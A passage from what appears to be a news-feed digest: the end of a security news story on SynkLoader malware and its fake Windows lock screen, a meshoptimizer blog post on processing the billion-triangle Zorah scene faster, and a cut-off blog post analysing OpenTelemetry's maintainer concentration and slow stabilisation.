  • StreamMaster (VNC) — Streams the victim’s desktop and enables remote mouse and keyboard control of the active session.
  • Module Status Script — Reports which malware modules and associated threads are currently running.
The malicious task securing persistence
The malicious task securing persistence
Source: Expel

Fake Windows 11 lock screen

The most interesting component of SynkLoader is the PhishLocker module, which attempts to obtain the victim’s Windows account password via a fake lock screen.

By obtaining the password, the attackers could use it alongside the tunneling module to access corporate environments from the infected device, bypassing IP allow-list restrictions.

Although the fake lock screen looks particularly convincing, Expel notes that simply using Alt+Tab exposes the active windows on top of the lock screen which is just a "full-screen borderless GUI application."

Alt+Tab exposing the deceptive lock screen
Alt+Tab exposing the deceptive lock screen
Source: Expel

Hutchins says that based on SynkLoader’s focus on measuring Active Directory environment size, it’s likely that it’s used in ransomware operations.

“We did end up writing an emulator for the reverse shell module, just to confirm it was actually a hands-on-keyboard attack,” the researcher says .

“The threat actor attempted to run several profiling commands before realizing they were not in a real environment and disconnecting.”

Expel provided indicators of compromise (IoCs) for the observed attack, though it noted that the SynkLoader module hashes are unique for each infection and therefore not very useful for defenders.

The best practice would be to verify IT requests independently and avoid installing unsolicited MSI files.

When met with an unexpected lock screen, try Ctrl+Alt+Delete or Alt+Tab to determine its authenticity.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

Optimizing meshoptimizer to process billions of triangles in minutes (2025)

Hacker News
zeux.io
2026-08-21 13:54:06
Comments...
Original Article

30 Sep 2025

Early this year, NVIDIA released their new raytracing technology, RTX Mega Geometry , alongside an impressive Zorah demo . This demo was distributed as a ~100 GB Unreal Engine scene - that can only be opened in a special branch of Unreal Engine, NvRTX. The demo showcased the application of new driver-exposed raytracing features, specifically clustered raytracing, in combination with Nanite clustered LOD pipeline - allowing to stream and display a very highly detailed scene with full raytracing without using the Nanite proxy meshes that Unreal Engine currently generates for raytracing.

As this was too Unreal Engine specific for me, I couldn’t really experiment much with this - but then, in early September, NVIDIA released an update to their vk_lod_clusters open-source sample , that - among other things - featured Zorah scene as a glTF file. Naturally, this piqued my curiosity - and led me to spend a fair amount of time to improve support for hierarchical clustered LOD in meshoptimizer .

Technology

The rest of this will be easier to understand if you have a reasonable grasp of Nanite. If not, I highly recommend Nanite: A Deep Dive by Brian Karis et al which talks about the specifics; I’ll just summarize the basic flow here.

Given a triangle mesh with, probably, a lot of triangles, our task is to 1) generate a hierarchical structure that can represent this mesh at any level of detail, 2) stream parts of this structure at appropriate detail, and 3) render the visible parts of the mesh at appropriate detail level. It’s important that the structure we use can represent multiple levels of detail in multiple different regions of the mesh - this allows it to scale to large models while distributing the detail appropriately; it’s also important that it is efficient to render. The structure that’s chosen here is a graph (DAG) of clusters; each cluster is a small set of triangles, say, up to 128, and represents a small patch of the mesh at a given level of detail. The structure contains clusters at various levels of detail, and the runtime code is responsible for streaming and rendering them to minimize the visual error - a cluster is replaced by a coarser cluster only if the resulting visual error is under 1 pixel (and the resulting switch is hidden by TAA or other temporal filters).

There are three tricky parts to this technique: generation of the structure from the highly detailed mesh; compression of the results to make them efficient to stream; and real-time rendering of the results. We are only going to talk a little bit about the first part :)

To build the structure, a mesh is split into a set of clusters; neighboring clusters are merged in slightly larger groups; each group is simplified independently, preserving the boundary edges of the group; the resulting group is then split into more clusters and the process recurses until no admissible clusters are left. There is a lot of nuance in how the algorithms are combined to ensure that the resulting representation doesn’t exhibit cracks between clusters at various levels of details, and a lot of tradeoffs for individual algorithms involved - easily the subject of a thesis (and indeed, multiple theses have been written on this topic).

Since Nanite was released in 2021, multiple different engines started adopting this processing paradigm. An open-source geometry processing library I work on these days, meshoptimizer , since 2024 has had an example of how to combine multiple different algorithms that meshoptimizer provides to build the resulting structure 1 . Having an end-to-end example made it much easier to improve the algorithms and experiment with variants of the higher level technique - could I perhaps use that example code to process the Zorah scene?

A sense of scale

That screenshot above certainly looks pretty; getting to that level of fidelity requires a lot of texture, shading and lighting work beyond Nanite. Fortunately, we’re only concerned with the geometry part; this should make our job easy, right?

As mentioned, while the original Zorah scene is an Unreal Engine asset, NVIDIA published a glTF scene for Zorah as part of their open source Vulkan samples. Let’s take a look, shall we?

zorah_main_public.gltf.7z

  • 1.64B triangles, 18.9B triangles with instancing
  • 36.1 GB on disk
  • Render cache 62 GB on disk, it can be downloaded or generated

… oh. A 36 GB glTF file that only contains geometry - moreover, it doesn’t contain vertex attribute data for the vast majority of the meshes, just positions! (the sample code derives normals for shading from positions in the shader code)

Trying to import this glTF file in Blender takes ~10 minutes until running out of memory 2 . Naturally, Unreal Engine is much faster - which is to say, the UE import of this file runs out of memory and crashes in just under 5 minutes! 3 Evidently, the processing is quite memory heavy and 192 GB RAM is, in fact, not enough for everyone.

Fortunately, we don’t need to import this file: we just need to run the NVIDIA sample code that processes this file. An attempt to do that in early September, however, would also run out of memory when trying to use 16 threads. Experimentally, I found that I could reliably run the processing code using 8 threads ( --processingthreadpct 0.25 ) as long as nothing else was running in the system, as the process would take ~180+ GB RAM. Using 7 threads made it possible to sort of use the computer in the meantime… for approximately 30 minutes that it took to run.

Now that I’ve sufficiently prepared you for just how large this scene is, it’s time to talk about a series of optimizations that make all of this a little more practical :)

Baseline

To build the hierarchical structure in question, we need clusterization (to split meshes into clusters), partitioning (to group clusters together) and simplification (to reduce a cluster group to fewer triangles). Fortunately, meshoptimizer provides algorithms for all three.

As of version 0.25, meshoptimizer contains two main clusterization algorithms: one built for rasterization and mesh shaders, which tries to minimize the number of produced meshlets by packing geometry tightly into them, and one built for raytracing and new clustered raytracing extensions. The former has been evolving over the last 8 years with incremental improvements and fixes; the latter is relatively new and was specifically developed after NVIDIA published their RTX Mega Geometry work 4 . The reason for why two algorithms need to exist is that clusterization, when used for raytracing, is very sensitive to where exactly the cluster boundaries lie - an optimal clusterization for raytracing makes it possible to take individual clusters, build micro-BVH trees for each one, build one BVH tree over all of the resulting clusters and trace the rays through the resulting structure. vk_lod_clusters sample just needs raytracing-optimal clusters, but my original demo has used raster-optimized ones, so we’ll start with that.

When the demo code was written originally, it was structured to be useful for working on the underlying algorithms, not to be reusable. It took some time to rework this into code that’s easy to follow and presents a simple and clean interface; the code takes the mesh as well as a lot of configuration parameters as an input, and produces groups of clusters via a callback. This conversion to reusable code, by itself, also had some performance benefits - in addition to eliminating some redundant STL copies (unlike meshoptimizer proper, this code uses STL for convenience for now), it was also helpful to switch to an interface where the caller communicates vertex attributes separately. Zorah scene uses position-only meshes for the most part, so we shouldn’t spend time on processing normals or other attributes. The new interface also integrates some recent additions to simplification like permissive mode, something that’s out of scope of today’s article. A minimal example is now quite small and simple:

clodConfig config = clodDefaultConfigRT(128);

clodMesh cmesh = {};
cmesh.indices = &indices[0];
cmesh.index_count = indices.size();
cmesh.vertex_count = vertex_count;
cmesh.vertex_positions = positions.data();
cmesh.vertex_positions_stride = sizeof(float) * 3;

clodBuild(config, cmesh,
    [&](clodGroup group, const clodCluster* clusters, size_t cluster_count) -> int {
        ...
    });

What remains, then, is to load the glTF scene, and run the code on each individual mesh. My test code does not save the resulting data to disk - so this is not really an apples-to-apples test, as saving data may incur extra costs and extra serialization. We’ll come back to this at the end. Naturally, we’ll be using multiple threads to process the data - and using cgltf to load the file to memory.

The file is 36 GB; to avoid loading the entire file into memory synchronously before the process starts, as well as a flat 36 GB memory overhead, we’ll use memory mapping; I contributed a small PR to cgltf to make working with memory mapped buffers a little easier.

Finally, one other critical thing we need to do is to reindex the meshes ; the source glTF file here has some very large meshes that have very inefficient indexing (e.g. 90M vertices for 30M triangles) - in addition to making it more difficult to get high quality simplification, this also hurts our processing times, since as we’re about to find out, the number of vertices in the mesh is sometimes important.

With these adjustments, a small program, when run on Linux and given 16 threads, completes the processing of the file in ~9m 20s, using ~54.6 GB RAM. This is using rasterization-optimized setup; if we switch to the new raytracing-optimized clusterizer , we get ~7m 10s and ~57.6 GB RAM.

On one hand, this is not that bad! On the other hand, 7-9 minutes is still quite a while; getting a cup of coffee doesn’t take that long. It’s time to see if we can improve on this.

Sparsity woes

Using the excellent Superluminal profiler, we can attempt to understand what is taking time and how we can make it better. First, let’s run both rasterization and raytracing builds and see if we can find any obvious hotspots…

Rasterization:

Raytracing:

Hmm, that’s an awful lot of time to take for a memset! (we’ll come back to other issues here later)

What happens here is that both clusterizers use an array indexed by the vertex index to track whether a vertex is assigned to a current meshlet. This saves us the trouble of having to look through the 64-128 vertices when trying to see if adding a triangle to the meshlet would increase the vertex count. Unfortunately, this code:

memset(used, -1, vertex_count * sizeof(short));

… is only fast as long as the number of vertices is quite small - not so when we are repeatedly clusterizing subsets of a 30M triangle mesh! Curiously, a similar problem, but much less severe, existed in the simplifier too - as part of the work to make meshoptimizer friendlier towards clustered LOD use cases back in 2024, I’ve added a meshopt_SimplifySparse flag that assumes the input index buffer is a small subset of the mesh, and tries to avoid doing O(vertex_count) work at all costs… except that, too, had a small remaining issue, where it initialized a bit array for similar filtering:

memset(filter, 0, (vertex_count + 7) / 8);

Of course, 1 bit per vertex is much cheaper to fill than 16… but this still adds up when working with meshes approaching 100M triangles. Previously, the largest single mesh I’ve tested this code on was 6M triangles, 3M vertices - an order of magnitude smaller than individual meshes in this scene.

There are some ways to make this code more independent of the number of vertices - e.g. dynamically switch to a full hash map - but that carries extra costs and complexities, so for now let’s see what happens if we fix all of the issues by only initializing the array entries used by the index buffer when sparse access ( index_count < vertex_count ) is detected. Rerunning the code with these fixes 5 , we get 3m 31s for the raster version and 3m 57s for the raytrace version. Progress!

You will notice that the degree of the gains here does not align with the information the profiler is reporting. There are a few factors that contribute here, for example the profiler has significant overhead in this case which may skew the results; but more importantly, the time distribution the profiler is reporting is for all the work that happens across all threads, whereas the wall clock time for the entire processing depends on the slowest thread. Which brings us to…

Balancing threads

Instead of looking at the distribution of functions that take time, let’s instead focus on whether we are using threads well. When running the executable from the terminal, you can use /usr/bin/time -v to get the CPU% the command took; for us these are 1240-1260% depending on the mode we’re running at - in other words, we are using a little more than 12 threads’ worth of aggregate compute.

Let’s use Superluminal to look at the results more closely:

… ah yeah this is not great. If we look at the distribution for the number of triangles per mesh in this scene, we will see that there’s a significant imbalance: a few meshes are in the tens of millions of triangles, but most meshes don’t have as much. If we get unlucky, we may start processing large meshes much later into the process if they aren’t first in line to be queued for the thread pool; here we can see that in the “overhang”, there’s indeed a large mesh that takes ~48s to just build the clusters for the first DAG level. We need to be processing meshes like this first.

While fully general solutions to scheduling problems like this are very complicated and may or may not work well, fortunately we don’t need a general solution. The time it takes to process one mesh is a function of the number of triangles, so we can simply sort the meshes by triangle count in decreasing order. This ensures that we’ll process the most expensive meshes first.

This would also be a good time to mention the memory limits. Experimentally, we now know that it takes ~60 GB to process this scene on 16 threads - part of the reason why our processing is that much faster is that it takes less memory, allowing us to scale to more threads. However, what if the system we need to run on only has 40 GB RAM? 6 Ideally, you’d use a limiter that only allows a certain fixed number of triangles to be processed “at once”; when running the next mesh, you could check if the total is at zero or under the limit, and wait until it goes below it to be safe. This can be implemented using a std::atomic (and yields/sleeps to avoid burning CPU power unnecessarily - although in this case it’s really a stopgap and we’d prefer to burn all the CPU power available to us thank you very much!), or a counting semaphore. Of course, for the purpose of this scene we’ll set the memory limit to be 60+ GB to make sure we don’t throttle the execution - 192 GB RAM is quite spacious after all.

Anyhow, let’s sort the meshes and rerun the code. Here’s the new thread schedule:

… sweet. While there are still a few little gaps here and there in the schedule, we now see the thread execution being perfectly balanced across 16 threads - /usr/bin/time reports 1574% CPU utilization. Front-loading large meshes means that smaller meshes can fill the gaps at the end fairly efficiently. Of course, if the input scene just has one or two meshes, our parallelism strategy will need to change - but for this scene, “external” parallelism where the axis is mesh count is the best as it allows us to share no data between different threads.

The execution time is now much better: 2m 56s for rasterization and 3m 07s for raytracing. Curiously, the peak memory consumption is actually a little lower (at ~45 GB for the raytracing version instead of ~54 GB before the sort). This is not very intuitive - normally you’d expect the peak memory consumption to be reached when each thread is processing the largest mesh which is what we’re doing here - but there’s probably some explanation that I’m missing right now; this will certainly depend on the particulars of the system allocator.

We’ve come quite a long way; ~3 minutes of processing time is quite a respectable number even though we’re not serializing the resulting data. That’s it then, see you next time!

Faster-er clusterization

… of course we’re not done. Coincidentally, right before NVIDIA had released the new asset files I’ve been working on performance improvements for both clusterizers. All of the results so far have been presented using meshoptimizer v0.25 (plus sparsity fixes), but actually we need to be testing on the latest master, which contains two important improvements to the clusterizer performance.

For the raster-optimized clusterizer, in some cases some internal tree searching functions would keep searching over the same data. I won’t go into too much detail as this post is getting long as it is, and it doesn’t affect these levels as acutely (saving ~3%); from now on, let’s focus on raytracing-optimized structures. Profiling the current code that takes ~3m 07s, we still see the new spatial clusterizer ( meshopt_buildMeshletsSpatial ) being responsible for two-thirds of the runtime. Fortunately, this is a case where we can point to a single function as the source of most of our problems:

Conceptually, the core of the spatial clusterizer is quite close to a sweep BVH builder. For each level of the tree, we need to determine the best splitting plane; to do that, we need to analyze the cost of putting a splitting plane through the centroid of each triangle along each of the cardinal axes; that cost can be computed by accumulating the bounding boxes of the triangles six times - three axes times two directions, left and right; the resulting cost can be computed from the surface area of the resulting AABBs. While there’s much more to the algorithm itself, thankfully the complex external logic doesn’t contribute that much to the runtime.

void bvhComputeArea(float* areas, const BVHBox* boxes, const int* order, size_t count)
{
	BVHBox accuml = { {FLT_MAX, FLT_MAX, FLT_MAX}, {-FLT_MAX, -FLT_MAX, -FLT_MAX} };
	BVHBox accumr = accuml;

	for (size_t i = 0; i < count; ++i)
	{
		areas[i] = boxMerge(accuml, boxes[order[i]]);
		areas[i + count] = boxMerge(accumr, boxes[order[count - 1 - i]]);
	}
}

This case is a little curious because the performance characteristics of bvhComputeArea change at different levels of the processing, making analysis complicated. When clusterizing large meshes, initial calls to bvhSplit - which is a recursive function - end up processing the entire mesh with the locality of AABB traversal being Not Ideal. As such, we’d expect that function to be memory bound. When the recursive calls get all the way down to a few thousand triangles, the accesses become highly local because the “active” boxes readily fit into L2 and even L1.

The reason why this matters is that I initially thought I could improve this situation by reducing the amount of memory referenced by each box. However, this ended up not dramatically improving higher levels (presumably because the access locality was still poor) and regressing lower levels because storing AABBs in any other way than a few floats costs cycles to decode. After a few attempts to use different box representations, I gave up and tried a thing that should not have worked, which is to just convert the relevant code ( boxMerge function used above) to SSE2. A box has two corners that can each be loaded into an SSE2 register; min/max accumulation can use dedicated MINPS/MAXPS instructions; and we can compute the box area by doing a moderate amount of shuffle crimes (in the absence of a dedicated DPPS instruction which requires SSE4.1). The same can then be done on NEON in case you are using ARM servers for content processing or for some strange reason running clustered raytracing acceleration code on a Mac.

The resulting SIMD code is quite straightforward and is only 20 lines of code per architecture. It’s not the world’s best SIMD code: we are only using 3 floats’ worth of computation even though the hardware could use much wider vectors, but unfortunately it’s difficult to rearrange the data to make the layout SIMD-optimal as the order of boxes has to change too frequently. Still, if we rerun the code, we go from 3m 07s to 2m 51s - ~9% speedup overall! 7 This brings our raytracing-optimized code in line with rasterization-optimized, but we’re not quite done yet.

As mentioned, the earlier levels of the recursion are possibly hitting a memory subsystem limitation, as they end up bringing a lot of bounding boxes into the caches from all around the memory. It stands to reason that, if the bounding box order in memory - which matches the triangle order in the input index buffer - was more coherent, then we might see further speedup.

Indeed, what we can do is sort the triangles spatially, using a Morton order - conveniently, meshoptimizer provides a function that will do just that, meshopt_spatialSortTriangles . Calling this function has a cost - however, as long as the gains in clusterization time outweigh the extra effort to sort the triangles, this should still be a good idea. After trying this on that scene we get 2m 44s - ~5% further speedup for a single extra line. Nice!

Caching allocations

It’s time to tackle the final boss: all of the aforementioned functions need to allocate some memory for the processing. Given 16 threads that allocate sizeable chunks of memory, an ideal allocator would figure out how to keep some amount of memory in thread-local buffers to avoid allocations from one thread contending with allocations from another thread.

Unfortunately, expecting this may be overly optimistic, depending on the platform you’re running on. All of the experiments so far have been run on Linux (using the stock allocator without any extra configuration). And while in general we’re getting very reasonable performance with little contention, even on Linux there’s occasional “red” spots in the thread utilization chart, which indicates that the thread is busy waiting - and if we check, it’s indeed waiting on a different thread to service the allocation.

I’m a little hesitant to conclude specifics because under a heavy thread load, Superluminal offsets the timings enough that I worry about interference between the profiler and the results. However, we could instead switch to the platform where the stock allocator is not very high quality - Windows, and observe the bleak thread utilization picture:

What happens here is an unfortunate interaction between multi-threaded allocations and default large block policy. Large blocks bypass the heap and are allocated using VirtualAlloc ; memory allocated this way is quite expensive to work with initially 8 , so repeat allocations/deallocations will cause performance problems. Because multiple threads contend over the same heap mutex, the resulting throughput is affected very significantly.

Fortunately, there’s a simple solution to this problem: just use a per-thread arena and route the allocations to it if they fit. meshoptimizer exposes an easy way to globally override the allocations, and guarantees that allocation/deallocation callbacks will be called in a stack-like manner. This makes it easy to implement a thread-local cache: pre-allocate a chunk of memory, say, 128 MB; allocate out of it using a bump allocator or fall back to malloc ; deallocation can check if the pointer belongs to the thread-local arena and if it doesn’t, fall back to free .

Doing this on Linux provides modest further performance improvements; our code now runs in ~2m 35s - around 3.5x speedup from our initial baseline, and significantly better than ~30 minutes. On Windows, before this change, the code so far runs at 4m 20s - and with the thread cache we get 2m 38s, in line with our Linux version! And the utilization looks much better - note that we’re still using the global allocator for some STL code that’s part of the example (but can be replaced in the future), hence the imperfect utilization.

With some extra effort it’s possible to generalize the solution so that it’s easy to integrate on top of the default allocator; I’m planning to add this in a future meshoptimizer version, however since meshoptimizer will be 1.0 this year this will have to wait until the next version after that - in the meantime, the code is available under the MIT license .

Results

Are we done now? Well, more or less :) Most of the improvements, as well as a few improvements I didn’t think were of general enough interest to include, have been incorporated into the demo code that’s now distributed as a single-header “micro-library” via the meshoptimizer repository, clusterlod.h . The code is designed to be easy to modify and adapt, but also be easy to plug in as is.

Out of the aforementioned performance improvements, the call to meshopt_spatialSortTriangles can be made externally if necessary, and the thread cache work has not been submitted yet. It will likely be included into meshoptimizer after v1.0 is released later this year, as it’s generally useful for improving content pipeline performance, with or without clustered LOD.

And I thought this is more or less where things would end, but this example code has proven to be useful enough so that vk_lod_clusters , the sample that spawned all this work, integrates it as an option! You can select it by passing --nvclusterlod 0 . The version that’s part of NVIDIA’s repository changes the example code to implement optional “internal” parallelism - being able to generate a cluster DAG from a single mesh using multiple threads. This is not something that is necessary for Zorah or other large scenes like this - as mentioned, “external” parallelism here provides a more natural and performant axis - but is crucial to be able to more quickly generate a DAG for a single large mesh.

Because of their work I can now show another screenshot of the same Zorah asset, but this time running inside the vk_lod_clusters sample using the data generated by meshoptimizer’s clusterlod.h , rendered with an approximately 2 GB geometry pool, in 26ms when using ray tracing and 16ms when using rasterization, on NVIDIA GeForce 3050. Not bad for a GPU that draws all its power from the motherboard without needing a separate power cable!

In vk_lod_clusters the processing is structured a little differently; as a result, it generates a slightly different amount of work compared to my simpler demo I’ve been using for profiling, and also includes data serialization, so it runs a little slower - ~3m 20s with all mentioned optimizations included. In that time it performs all the processing described above and generates the 62 GB cache file - including, hilariously, almost 10 seconds it takes Linux to fopen() this file for writing as it takes a while to discard the existing file contents from the file system cache, if present there! Since I’m also running my 7950X in eco mode, we’ll call it around 3 minutes, give or take.

There are still opportunities for improvement, however. Notably, to be able to stream and display a scene like this efficiently, you need a separate hierarchical acceleration structure that can quickly determine the set of clusters to render; vk_lod_clusters manages to do this using existing meshopt_ functions but that code is not part of clusterlod.h yet. Also the default cluster partitioning algorithm used in clusterlod.h to create groups of clusters is currently only willing to group clusters that are topologically adjacent (as in, they share vertices); this can sometimes result in DAGs that have too many roots, as the groups aren’t merged aggressively enough - and should be improved in the future as well ( vk_lod_clusters falls back to a different meshopt_ partitioning algorithm if it detects this case). ( Update: as of a few days after this blog was published, this is now fixed in the implementation of meshopt_partitionClusters in meshoptimizer so no further tweaks should be necessary!)

But I’m happy to see a meaningful milestone for this code that started as a basic playground for clusterization algorithms.

Thanks to Christoph Kubisch for discussions, feedback, and vk_lod_clusters integration, to NVIDIA for sharing research, code and assets openly, and to Valve for sponsoring meshoptimizer development.

OTel isn't going well (and I made a spreadsheet about it)

Hacker News
matduggan.com
2026-08-21 13:45:41
Comments...
Original Article

For years now one of the most reliable complaints I hear when I try to drag a team off their vendor specific SDK and onto OpenTelemetry is some variation of: "why does it seem like this isn't done yet?"

Vendor SDKs for observability are, to put it charitably, idiot-proof. You install the thing, dashboards just load data, someone else worries about how all those pieces fit together, and you get on with your life. OpenTelemetry, by contrast, greets you at the door with a lot of "experimental" stamps and roughly six different ways to accomplish any given task.

In OpenTelemetry's defense this was never what they were going for as a project. I've always respect that they stuck to their guns by attempting to build a truly vendor agnostic system that really doesn't care what you do with the data. I have never gotten a sense of a vendor being strongly preferred with OTel, which is quite the feat considering how lucrative and contentious the observability ecosystem was. Also considering that the maintainers of this project are largely employed by exclusively those companies.

As the years wore on, I started to get nervous. Conversations in the semantic-conventions repo drag on and on and on. Different languages had dramatically different stories. Golang and Dotnet were first class citizens, but other languages lagged years behind the others.

I started asking a lot of probing questions before recommending OpenTelemetry to smaller teams who didn't have the time, budget, or emotional bandwidth for it. Auto-instrumentation was genuinely magical, but the cliff between "auto-instrument works" and "now I have to manually instrument something" was steep enough that you owed people a warning before you pushed them off it.

This narrative has been going on for awhile in the observability space, a vague sense of "something is wrong in Otel-land". But let's try to generate some actual data here. Is there an actual problem, or is this something where the perception by the community of slow progress is imaginary? Is the problem not enough maintainers, too big of a scope, or something in-between?

My guess when I started was "oh this is your classic open-source bit off more than they can chew". Not enough maintainers, not enough budget. Now there is some of that, but there's also something else going on.

The actual problem happening inside of OpenTelemetry is a three way crash. You have a binary stability gate which, when combined with a very small bench of actual maintainers means there is understandable worry about marking a feature not experimental then add on just a massive scope of languages and frameworks they are attempting to cover. This creates a perfect storm where there is an incentive to argue about potential problems a feature might create since once it is locked in and shipped as stable you can never change them.

How does OpenTelemetry Work

So OpenTelemetry currently is attempting to support a dizzying number of languages and frameworks.

OpenTelemetry is a g iant project. It spans dozens of languages, hundreds of libraries, and countless backends. To keep things sane, the project splits work into two buckets:

  • Core → Maintained directly by the OTel project. Small, stable, vendor-neutral, and tightly reviewed. This is the "spec-defining" surface.
  • Contrib → Community- and vendor-contributed. Broader, faster-moving, and covers the long tail of integrations.

There exists the otel-collector, the thing that runs along the thing so that you can ship logs metrics and traces. That copies the same rough pattern. But for the languages when we're talking about core vs contrib this is what we're talking about.

opentelemetry-python (core) The API, SDK, OTLP exporter, context propagation, resource detection primitives
opentelemetry-python-contrib Instrumentation libraries for Flask, Django, requests, psycopg2, Redis, Kafka, boto3, etc.

Stuff that breaks goes in contrib, stuff that doesn't break goes into core.

Now the reason this causes a conflict. contrib is massive overkill for most projects. You don't want 300 exporters to add the one you typically need. On the language side, this isn't that big of a problem. pip install opentelemetry-instrumentation-flask gives you the stuff you need for flask. However on the collector side you end up having to do the OpenTelemetry Collector Builder to make your own collector (or just kinda ride the wave and hope it works out). While cool that this exists, it's a lot of scope to ask a team to take on.

Process of adding a new feature

So I believe I have captured the workflow of adding a new feature to OTel. You can check my homework here:

  1. OpenTelemetry Enhancement Proposal (OTEP) ( https://github.com/open-telemetry/opentelemetry-specification/tree/main/oteps/ )
  2. Once the OTEP is accepted, the text goes into the Specification directory in the same repo.
  3. After that it seems to go to Semantic conventions. This seems to be where we get down to the specific details and where most of the long discussions seem to live. At this point we're talking about more or less a permanent commitment to this design and where the lock-in process becomes very hard to change.
  4. Each of the SDKs implements the API surface that is defined in the specification. Now some of the SDKs have done 2.0 breaking changes, so it does seem like the earlier "please no 2.0 at all costs" sentiment has been abandoned (which I think is smart and good).
  5. Contrib / instrumentation. This is slightly more mushy. Looks like they should track latest API/SDK but each contrib package may version independently so its more flexible as a design.
  6. Collector + OTLP. The data has to actually go somewhere. OTLP (wire protocol) has its own stability lifecycle and specification ( here ). Collector components have their own stability in their READMEs and as far as I can tell that's kinda all over the place.

Things I'm not really clear on

  • It's unclear how long the OTEP -> Specification process takes. I've looked through the Git history but there doesn't seem to be any predictable number or cycle.
  • I don't fully understand what is the relationship between all these stability commitments. Does Collector + OTLP group work in lockstep? Can a language "fall out of scope" if you lag too far behind?

Attempting to test it

So because OpenTelemetry is a CNCF project, I figured it made the most sense to compare them to other CNCF projects. My basis for comparison is Envoy and Prometheus. I have used a hacky Python script I've used before for measuring the "health" of open-source projects, which is probably not the best. However I'll include a link to the raw data without the charts so folks can review it and (more than likely) find a problem in what I generated.

So we look at 24 months of activity for Envoy and what we see is a pretty healthy project. There's good distribution of authors, mergers, issue closers. phlax is obviously pretty important to the project but in general there's a good bench of people to step in if needed. I've attempted to filter out all the known bot traffic.

Let's compare that to one of the OpenTelemetry languages. The ones I have the most professional experience with are Golang and Python, but I hear from a lot of folks in the community that the Ruby and PHP ones struggle a lot. This is the PHP one for the same period.

So we see pretty clearly that there's way too much concentrated on 2 people. This is not a healthy open-source project and they clearly don't have enough people to cover the kind of scope OTel needs to cover. Same story with Ruby.

In comparison the "strongest" OpenTelemetry SDKs in my opinion, Golang and Dotnet (although Python is also no slouch) look more healthy.

Golang

So the first issue is maybe the least surprising. There's too much concentration among too few maintainers. Your authors shouldn't also be your mergers and your issue closers. Ideally these tasks should be distributed out more evenly.

For what its worth I think the maintainers have done a good job of attempting to keep their discussions public. It was very easy for me to find the public meeting notes of the different groups of maintainers, read through them and see what was going on. I don't get the sense that these maintainers are trying to stop people from getting involved as much as the expectations of stability have, more or less, frozen the project in place.

The issue is more a classic case of "someone has to pay the maintainers". The project is too complex for someone to realistically do this as a hobby. I think any project signing on for such long stability contracts cannot turn to the community of hobbyists expecting assistance. I can't join calls and do the things I would be expected to do for a project of this size and importance for free. But it also means that the people doing this critical work have expectations placed on them by their parent organizations.

Repository 24mo Merged PRs Distinct Mergers Top-1 Merger % Top Merger Role
opentelemetry-cpp 544 4 86.1% Single human ( marcalff )
opentelemetry-kotlin 281 2 79.7% Single human ( fractalwrench )
opentelemetry-browser 102 4 79.5% Single human
opentelemetry-ruby 213 5 78.7% Single human
opentelemetry-js 829 14 64.9% Highly concentrated
opentelemetry-python 486 4 61.4% Single human ( xrmx )
opentelemetry-php 181 2 53.0% Two mergers total
semantic-conventions 911 9 49.7% Single human ( lmolkova )
opentelemetry-go 686 5 36.9% Distributed bench
opentelemetry-dotnet 657 6 31.5% Distributed bench
prometheus 1,849 31 14.4% Broad bench
envoy 5,432 28 35.8% Broad bench

So these SDKs have too few maintainers. But that doesn't fully explain why it seems to take so long for new features to get through the stack. My guess for that was that somewhere in the process between submission of the new idea and the formalization of the idea was a long discussion that took a million years.

Conventions about Semantics

So with this level of surface area across different frameworks and languages, it makes sense to concentrate the conversation about conventions in one place. That lives here: https://github.com/open-telemetry/semantic-conventions

If vendor debate is causing the slowdown, we should (in theory) see this slowdown in PRs here. Then you should see the slowdown basically propagate out. Spoiler alert, I was wrong about this. Big thanks to the OpenTelemetry people for having good conventions on labeling their PRs which made this much easier.

So if semconv is the slowdown, let's look at the slowest PRs there.

PR days comments reviews labels topic
#2083 277.5 17 115 area:gen-ai MCP semantic conventions
#2617 258.6 29 13 area:gcp GCE instance labels
#1698 187.9 3 7 area:azure, breaking rename `azure_` → `azure.`
#2619 174.6 24 8 area:gcp GCE instance group manager
#3118 147.1 19 8 area:graphql, breaking GraphQL Recommended vs Opt-In
#1741 141.0 4 23 changelog.opentelemetry.io Mainframes
#1784 127.3 7 48 area:k8s k8s.container.status metrics
#2287 118.5 12 95 area:rpc ONC/Sun RPC + NFS metrics
#2179 117.0 7 114 area:gen-ai, breaking Gen-AI chat history attributes

Yeah some of them are pretty slow, but there are some complex topics being discussed. However interestingly this slowdown doesn't really trickle into the SDK/API space, suggesting that OpenTelemetry is going a good job of keeping these conversations siloed off.

If we look at Python we see that their slowest PRs aren't semconv related.

PR days comments reviews labels topic
#4646 361.1 5 19 OpAMP integration sketch
#4576 314.0 11 27 Stale OTLP HTTP max_export_batch_size
#4609 253.7 2 9 env carrier
#4709 172.1 8 40 http exporter error handling
#4333 164.9 6 4 GRPC exporter backoff config
#4654 161.7 7 14 log-breaking-changes deprecate events API/SDK
#4863 155.0 5 36 add/remove metric readers at runtime
#4647 152.9 4 9 Approve Public API check , log-breaking-changes rename Log → LogRecord
#4854 150.5 7 9 hold W3C traceparent random-trace-id
#4676 126.4 20 30 Approve Public API check , log-breaking-changes logs SDK refactor

In reality the slowdown for these are the extra required check imposed by the Approve Public API check which requires another maintainer. But that seems appropriate and takes us back to the initial problem of "not enough maintainers".

Potential Solutions

So after looking at all of this, the pattern becomes clear. A new feature takes a very long time to make it to the end user in OpenTelemetry because they take stability very seriously, combined with a relatively limited bench of talent to pull from. Once things make it through the entire stack, implementing the API and getting that API change through to the end user falls on an overworked maintainer pool. So what do we do?

I think one idea worth exploring is adding some sort of time-bound beta tier. Basically between the "Experimental" and the "Stable" in the following diagram. The problem is that for end users, due to the extra steps to use Experimental features, they might as well not exist. 99% of us have no idea when an experimental feature is added and we would never engage with it. But if I knew the feature would stick around for at least 12 months without a removal and was more accessible to me as an end user, it could actually help the project get more actionable feedback.

Basically a feature would go Experimental (pretty low usage) -> Beta (more exposed to the end user than Experimental) -> 12 months -> Removal or Stable.

Now confusingly Beta exists for Otel but is used for SDKs, not for components. Like Rust is a Beta but it seems like Profiles cannot be a Beta. Honestly it's nearly impossible for me to figure out like what labels should apply to what things. I suspect nobody really knows. Here's the explanation of Beta that I think only applies to SDKs.

Development

Not all pieces of the component are in place yet, and it might not be available for users yet. Bugs and performance issues are expected to be reported. User feedback around the UX of the component is desired, such as for configuration options, component observability, technical implementation details, and planned use-cases for the component. Configuration options might break often depending on how things evolve. The component SHOULD NOT be used in production. The component MAY be removed without prior notice.

Alpha

